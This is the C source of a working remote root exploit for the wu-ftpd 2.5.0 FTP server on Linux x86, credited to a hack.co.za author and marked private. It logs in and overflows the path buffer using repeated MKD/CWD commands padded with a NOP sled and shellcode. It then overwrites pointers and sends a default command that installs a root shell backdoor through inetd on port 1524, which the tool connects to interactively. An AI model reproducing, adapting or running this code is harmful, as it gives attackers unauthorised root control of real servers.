/*
 *  Copyright (c) 1999 anathema <anathema@hack.co.za>. All rights reserved.
 *                 ->  PRIVATE. DO NOT DISTRIBUTE.  <-
 *
 *  wu-ftpd 2.5.0 proof-of-concept remote root exploit (linux x86)
 *  Tested against wu-ftpd2.5.0 default source compilation.
 *
 *  As we don't perform any error checking in ftp_login(), you should 
 *  not specify an invalid username, password or initial directory.
 *
 *  You will need to obtain the correct offsets for each specific 
 *  variant of wu-ftpd. Read the comments.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
#include <string.h>
#include <stdarg.h>
#include <fcntl.h>
#include <memory.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

/*
 *  You will almost certainly need to modify these for the specific
 *  wu-ftpd you are attempting to exploit.
 */
#define ADDR_MAPPEDPATH		0x8067360
#define ADDR_ERRCATCH_ST	0x8074f90
#define ADDR_ERRCATCH_FI	0x8074fa4

/*
 *  MAXPATHLEN is usually 1024.
 */
#define REMOTE_MAXPATHLEN	1024

#define FTP_PORT		21
#define BD_PORT			1524
#define RETPOS			255
#define PRLEN			164
/* #define VERBOSE */

/*
 *  Function prototypes.
 */
u_long resolve_host(u_char *);
void ftp_login(int, u_char *, u_char *, u_char *);
void send_data(int, u_char *, ...);
void recv_data(int, int);
void exploit(int, u_char *, u_int, u_int, u_int);
void surface_patterns(u_long);
void euphoric(u_long, u_char *, u_char *, u_char *, u_short, u_short,
              u_int, int, u_char *);

char c0de[] =
  "\x29\xc0\x29\xdb\x29\xc9\xb0\x46\xcd\x80\xeb\x64\x5b\x89\xd9\x80\xc1\x0f\x39"
  "\xd9\x7c\x06\x80\x29\x04\x49\xeb\xf6\x29\xc0\x88\x43\x01\x88\x43\x08\x88\x43"
  "\x10\x87\xf3\xb0\x0c\x8d\x5e\x07\xcd\x80\xb0\x27\x8d\x1e\x29\xc9\xcd\x80\x29"
  "\xc0\xb0\x3d\xcd\x80\x29\xc0\xb0\x0c\x8d\x5e\x02\xcd\x80\x29\xc0\x88\x46\x03"
  "\xb0\x3d\x8d\x5e\x02\xcd\x80\x29\xc0\x8d\x5e\x09\x89\x5b\x08\x89\x43\x0c\x88"
  "\x43\x07\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\x29\xc0\x40\xcd\x80\xe8\x97"
  "\xff\xff\xff\xff\xff\xff\x45\x45\x32\x32\x33\x32\x32\x33\x45\x33\x66\x6d\x72"
  "\x33\x77\x6c";

u_long
resolve_host(u_char *host_name)
{
  struct in_addr addr;
  struct hostent *host_ent;

  addr.s_addr = inet_addr(host_name);
  if (addr.s_addr == -1)
    {
      host_ent = gethostbyname(host_name);
      if (!host_ent) return(0);
      memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
    }

  return(addr.s_addr);
}

void
ftp_login(int sock, u_char *user, u_char *pass, u_char *dir)
{
  recv_data(sock, 1);
  send_data(sock, "USER %s\n", user);
  send_data(sock, "PASS %s\n", pass);
  send_data(sock, "CWD %s\n",  dir);
}

void
send_data(int sock, u_char *buf, ...)
{
  u_char  tmp_buf[4096];
  va_list valist;

  memset(tmp_buf, 0, sizeof(tmp_buf));

  va_start(valist, buf);
  vsnprintf(tmp_buf, sizeof(tmp_buf), buf, valist);

#ifdef VERBOSE
  fprintf(stderr, "-> %s", tmp_buf);
#endif /* VERBOSE */

  usleep(10000);
  if (write(sock, tmp_buf, strlen(tmp_buf)) == -1)
    {
      perror("write");
      close(sock);
      exit(-1);
    }

  va_end(valist);
  recv_data(sock, 1);
}

void
recv_data(int sock, int disp)
{
  u_char tmp_buf[4096];

  usleep(10000);
  memset(tmp_buf, 0, sizeof(tmp_buf));

  if (recv(sock, tmp_buf, sizeof(tmp_buf) - 1, 0) == -1)
    {
      if (disp)
        {
          perror("recv");
          close(sock);
          exit(-1);
        }
    }

  if (disp) fprintf(stderr, ": %s\n", tmp_buf);
}

void
exploit(int sock, u_char *pwd, u_int dir_len, u_int p_len, u_int align)
{
  u_long errcatch_st_addr = ADDR_ERRCATCH_ST;
  u_long errcatch_fi_addr = ADDR_ERRCATCH_FI;
  u_long mappedpath_addr  = ADDR_MAPPEDPATH;
  u_long append_addr      = errcatch_st_addr;
  u_char padding[4096];
  u_char buf[25000];
  u_int  fill_tr          = 0;
  int i = 0, nl = 0;

  errcatch_st_addr -= p_len;
  errcatch_fi_addr += p_len;
  append_addr      += (p_len + align);
  fill_tr           = REMOTE_MAXPATHLEN / (dir_len + p_len);

#ifdef VERBOSE
  fprintf(stderr,
          "fill_tr          == %d\n"
          "errcatch_st_addr == 0x%lx && "
          "errcatch_fi_addr == 0x%lx && "
          "append_addr      == 0x%lx\n",
          fill_tr, errcatch_st_addr, errcatch_fi_addr, append_addr);
#endif /* VERBOSE */

  memset(buf, 0, sizeof(buf));
  memset(padding, 0, sizeof(padding));
  memset(padding, 0x90, RETPOS - (p_len + align));

  for (; i < fill_tr; i++)
    {
      send_data(sock, "MKD %s\n", padding);
      send_data(sock, "CWD %s\n", padding);
    }

  memset(padding, 0, sizeof(padding));
  memcpy(padding, c0de, strlen(c0de));
  padding[strlen(padding)+1] = 0;

  send_data(sock, "MKD %s\n", padding);
  send_data(sock, "CWD %s\n", padding);

  memcpy(buf, "CWD ", 4);
  memset(buf + 4, 0x90, strlen(padding));
  append_addr += (dir_len + (84 - p_len));

  nl = strlen(buf) + 1;
  for (i = nl; i < (nl + 84 - p_len); i += 4)
    {
      buf[i+0] = (errcatch_st_addr & 0xff);
      buf[i+1] = (errcatch_st_addr >> 8) & 0xff;
      buf[i+2] = (errcatch_st_addr >> 16) & 0xff;
      buf[i+3] = (errcatch_st_addr >> 24) & 0xff;
    }

  nl = strlen(buf) + 1;
  for (i = nl; i < (nl + (p_len - dir_len)); i += 4)
    {
      buf[i+0] = (mappedpath_addr & 0xff);
      buf[i+1] = (mappedpath_addr >> 8) & 0xff;
      buf[i+2] = (mappedpath_addr >> 16) & 0xff;
      buf[i+3] = (mappedpath_addr >> 24) & 0xff;
    }

  i = strlen(buf) + 1;
  buf[i++] = (errcatch_fi_addr & 0xff);
  buf[i++] = (errcatch_fi_addr >> 8) & 0xff;
  buf[i++] = (errcatch_fi_addr >> 16) & 0xff;
  buf[i++] = (errcatch_fi_addr >> 24) & 0xff;

  nl = strlen(buf) + 1;
  for (i = nl; i < (nl + 8); i += 4)
    {
      buf[i+0] = (append_addr & 0xff);
      buf[i+1] = (append_addr >> 8) & 0xff;
      buf[i+2] = (append_addr >> 16) & 0xff;
      buf[i+3] = (append_addr >> 24) & 0xff;
    }

  send_data(sock, "%s\n\n", buf);
}

void
surface_patterns(u_long dst_ip)
{
  struct sockaddr_in sin;
  u_char sock_buf[4096];
  fd_set fds;
  int sock;

  fprintf(stderr, "Attempting to connect to backdoor..\n");
  sleep(2);

  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sock == -1)
    {
      perror("socket allocation");
      exit(-1);
    }

  sin.sin_family = AF_INET;
  sin.sin_port   = htons(BD_PORT);
  sin.sin_addr.s_addr = dst_ip;

  if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    {
      perror("connecting to backdoor");
      close(sock);
      exit(-1);
    }

  fprintf(stderr, "owned\n");
  for (;;)
    {
      FD_ZERO(&fds);
      FD_SET(0, &fds); /* STDIN_FILENO */
      FD_SET(sock, &fds);

      if (select(255, &fds, NULL, NULL, NULL) == -1)
        {
          perror("select");
          close(sock);
          exit(-1);
        }

      memset(sock_buf, 0, sizeof(sock_buf));

      if (FD_ISSET(sock, &fds))
        {
          if (recv(sock, sock_buf, sizeof(sock_buf) - 1, 0) == -1)
            {
              fprintf(stderr, "Connection closed by foreign host.\n");
              close(sock);
              exit(0);
            }

          fprintf(stderr, "%s", sock_buf);
        }

      if (FD_ISSET(0, &fds)) /* STDIN_FILENO */
        {
          read(0, sock_buf, sizeof(sock_buf) - 1);
          write(sock, sock_buf, strlen(sock_buf));
        }
    }

  /* NOTREACHED */
}

void
euphoric(u_long dst_ip, u_char *user, u_char *pass, u_char *dir,
         u_short src_prt, u_short dst_prt, u_int align, int alt_cmd,
         u_char *cmd)
{
  struct sockaddr_in sin;
  struct in_addr inaddr;
  u_int  dir_len;
  int sock;

  dir_len = (u_int)strlen(dir);
  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sock == -1)
    {
      perror("socket allocation");
      exit(-1);
    }

  if (src_prt)
    {
      struct sockaddr_in min;
      min.sin_family = AF_INET;
      min.sin_port   = htons(src_prt);
      min.sin_addr.s_addr = INADDR_ANY;

      if (bind(sock, (struct sockaddr *)&min, sizeof(struct sockaddr)) == -1)
        {
          perror("bind");
          close(sock);
          exit(-1);
        }
    }

  sin.sin_family = AF_INET;
  sin.sin_port   = htons(dst_prt);
  sin.sin_addr.s_addr = dst_ip;

  if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    {
      perror("connecting to ftp daemon");
      close(sock);
      exit(-1);
    }

  inaddr.s_addr = dst_ip;
  fprintf(stderr,
          "\nAttacking target `%s`:\n Auth: [%s:%s]\n  Dir: [%s]\n",
          inet_ntoa(inaddr), user, pass, dir);

  /*
   *  Login to the FTP server.
   *  No error checking is done here, so you should make sure
   *  the login/pass/dir are valid before attempting to exploit.
   */
  ftp_login(sock, user, pass, dir);

  /*
   *  The game starts here.
   */
  exploit(sock, dir, dir_len, (PRLEN + dir_len), align);

  /*
   *  Now send the command we want executed to the FTP server.
   */
  send_data(sock, "%s\n", cmd);

  if (!alt_cmd)
    {
      /*
       *  If the user hasn't specified an alternative command, make
       *  the connection to the backdoor.
 [2000]*/
      surface_patterns(dst_ip);
      /* NOTREACHED */
    }

  sleep(2);
  fprintf(stderr, "Completed.\n");
  exit(0);
}

void
usage(u_char *nomenclature)
{
  fprintf(stderr,
          "No.\nusage:\t%s dst_host|ip [ -u user ] [ -p pass ] [ -x dir ]\n\t"
          "[ -s src_prt ] [ -d dst_prt ] [ -a align ] [ -c alt_cmd ]\n\n",
          nomenclature);
  exit(0);
}

int
main(int argc, char **argv)
{
  u_long  dst_ip      = 0;
  u_short src_prt     = 0;
  u_short dst_prt     = FTP_PORT;
  u_int   align       = 0;
  u_char  *user       = "ftp";
  u_char  *pass       = "-rewt@broken";
  u_char  *dir        = "incoming";
  u_char  cmd[255];
  int     opt         = 0;
  int     alt_cmd     = 0;

  if (argc < 2)
    {
      usage(argv[0]);
      /* NOTREACHED */
    }

  dst_ip = resolve_host(argv[1]);
  if (!dst_ip)
    {
      fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
      exit(-1);
    }

  memset(cmd, 0, sizeof(cmd));
  while ((opt = getopt(argc, argv, "u:p:x:s:d:a:c:")) != EOF)
    {
      switch(opt)
        {
        case 'u':   /* username */
          user = optarg;
          break;
        case 'p':   /* password */
          pass = optarg;
          break;
        case 'x':   /* initial directory */
          dir  = optarg;
          break;
        case 's':   /* source port */
          src_prt = (u_short)atoi(optarg);
          break;
        case 'd':   /* alternative dest port */
          dst_prt = (u_short)atoi(optarg);
          break;
        case 'a':   /* alignment */
          align   = (u_int)atoi(optarg);
          break;
        case 'c':   /* alternative command */
          strncpy(cmd, optarg, sizeof(cmd));
          alt_cmd = 1;
          break;
        default:
          usage(argv[0]);
          /* NOTREACHED */
        }
    }

  if (src_prt < 1024)
    {
      /*
       *  Must be root to bind() to a reserved source port.
 [2000]*/
      if (getuid() && geteuid())
        {
          fprintf(stderr, "Inadequate privileges\n");
          exit(-1);
        }
    }

  if (!alt_cmd)
    {
      /*
       *  Use the default command.
       *  If used, the exploit will automatically spawn a remote shell.
 [2000]*/
      strcpy(cmd, "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" >/tmp/x; /usr/sbin/inetd /tmp/x\n");
    }

  euphoric(dst_ip,     /* destination address */
           user,        /* username */
           pass,        /* password */
           dir,         /* initial directory */
           src_prt,     /* source port */
           dst_prt,     /* destination port */
           align,       /* alignment */
           alt_cmd,     /* alternative command flag */
           cmd);        /* command to execute */

  /* NOTREACHED */
}

/*                    www.hack.co.za              [2000]*/